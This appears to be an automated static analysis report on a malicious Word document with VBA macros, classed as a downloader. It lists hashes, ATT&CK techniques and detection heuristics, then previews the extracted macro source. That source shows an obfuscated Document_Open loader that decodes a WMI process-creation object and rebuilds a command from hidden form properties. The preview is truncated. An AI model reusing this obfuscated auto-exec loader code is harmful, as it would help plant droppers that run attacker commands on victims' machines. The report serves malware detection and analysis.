Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5393457e88e699e2…

MALICIOUS

Office (OLE)

240.9 KB Created: 2020-08-17 17:01:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b184ce1241a642b5b330ced4c292af86 SHA-1: 6f3218ca8fedfbeec465c5154aaeec989d0bf186 SHA-256: 5393457e88e699e2db18ee5eff5f94350e4e6f640fcc1d34176cdf08bd1aefe4
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of a downloader. The presence of a ClamAV detection for 'Doc.Downloader.Generic-9369905-0' further supports this. The VBA code appears to be obfuscated, likely to hide the download and execution of a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9369905-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9369905-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10246 bytes
SHA-256: 6b57088f2fadf792cb9df6f7623b44486ec91e07966f7897cb91f1368fdd8532
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hrq3r85q73h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Jpfn3dquux790.Qecr5g0utrjw397nj7
End Sub


Attribute VB_Name = "Jpfn3dquux790"
Attribute VB_Base = "0{E2DE6D17-6E9B-47AF-8460-4657116D2701}{6D0C758C-8C24-474C-BFE3-E1AAE25937C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qecr5g0utrjw397nj7()
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
V_zg5plhjyhu167 = Jpfn3dquux790.HelpContextId + 100
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
Cv0igdb5oveas0kz = ChrW(V_zg5plhjyhu167 + (100 + 35) / 9)
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
T23r076lmxzw5zzp = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Cv0igdb5oveas0kz + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Jpfn3dquux790.Afylcw1wfdn2x34l + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
Hrlhf9sye6jg6nf = Rwrht1_vwu1c(T23r076lmxzw5zzp)
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
Set C5n_qs94yb5jzsdz = CreateObject(Hrlhf9sye6jg6nf)
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_bef44 = "KAjamLNcTV"
Tmm95ixczxr2 = 623691
M2fdwocb38rjew_tx = M2fdwocb38rjew_tx & CStr(Tmm95ixczxr2)
Isewgz49tepjiovr = M2fdwocb38rjew_tx
N23mvqjyeqla9jnsb = Jpfn3dquux790.Hh02zt9wi41s32.ControlTipText
   If 791639 <> 777579 Then
Nfqde2k5wgq8s2mq = 791639 + 1989
J9hyatfv1uf_bef44 = 777579 - 2013
Else
InputBox (CStr(Nfqde2k5wgq8s2mq) & CStr(J9hyatfv1uf_bef44))
End If
J9hyatfv1uf_be
... (truncated)